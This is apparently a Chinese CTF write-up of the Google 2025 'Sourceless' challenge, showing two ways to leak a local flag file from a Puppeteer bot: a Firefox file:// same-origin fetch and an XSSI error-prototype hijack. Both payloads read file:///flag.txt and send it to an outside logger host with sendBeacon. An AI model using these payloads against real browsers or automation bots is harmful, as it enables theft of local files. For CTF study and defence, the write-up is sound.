Puppeteer 相关漏洞-- Google 2025 Sourceless

题目的代码非常简单,核心只有这一句

js 复制代码
page.goto(url, { timeout: 2000 });

方案1

Puppeteer 是一个常用的自动化浏览器工具,默认支持 Chrome,但也可以配置支持 Firefox。然而,当 Puppeteer 运行在 Firefox 上时,会自动关闭一些安全特性,尤其是将 security.fileuri.strict_origin_policy 设置为 false。这意味着不同的 file:// 协议下的文件(比如 file://A 和 file://B)会被当作同源(same-origin)处理。

复制代码
fetch('file:///flag.txt')
  .then(e => e.text())
  .then(e => navigator.sendBeacon(url, e));

方案2 XSSI 攻击

xssi.pdf

js 复制代码
  <script>
    ReferenceError.prototype.__defineGetter__('name', function(){
      const variable = this.message.split(' is ')[0];
      let decoded = '';

      for(const u16 of [...variable]){
        const i = u16.charCodeAt(0);
        decoded += String.fromCharCode(i % 256);
        decoded += String.fromCharCode(i >> 8);
      }
      navigator.sendBeacon('https://terjanq-logger.glitch.me/log2?id=sourceless', decoded)
    });
  </script>
  <script charset=utf-16le src="file:///flag.txt"></script>
  • 在Chrome和Firefox中,可以通过重写Error.prototype,拦截并读取error.message属性。

  • 正常情况下,跨域脚本报错时,window.onerror只会返回"Script error",但控制台的错误信息却包含了详细内容。

  • 由于console构造错误信息时会用到共享的Error原型,网站可以"污染"原型并执行自定义JS。

相关推荐
菩提小狗3 小时前
每日安全情报报告 · 2026-04-12
网络安全·漏洞·cve·安全情报·每日安全
pencek6 小时前
HakcMyVM-Quick3
网络安全
zjeweler7 小时前
“网安+护网”终极300多问题面试笔记-全
笔记·网络安全·面试·职场和发展
瘾大侠8 小时前
HTB - Silentium
安全·web安全·网络安全
网络安全许木9 小时前
自学渗透测试第14天(信息收集进阶与指纹识别)
linux·网络安全·渗透测试
视觉&物联智能12 小时前
【杂谈】-洞察业务风险潜藏暗礁:影子人工智能如何重塑移动威胁格局
人工智能·网络安全·aigc·agi
瘾大侠13 小时前
OSCP+ 100分 7小时考试心得分享
安全·web安全·网络安全
lingggggaaaa13 小时前
PHP模型开发篇&MVC层&动态调试未授权&脆弱鉴权&未引用&错误逻辑
开发语言·安全·web安全·网络安全·php·mvc·代码审计
网络安全许木13 小时前
自学渗透测试第15天(基础复习与漏洞原理入门)
linux·网络安全·渗透测试·kali linux
大方子14 小时前
【青少年CTF S1·2026 公益赛】easy_php
网络安全·青少年ctf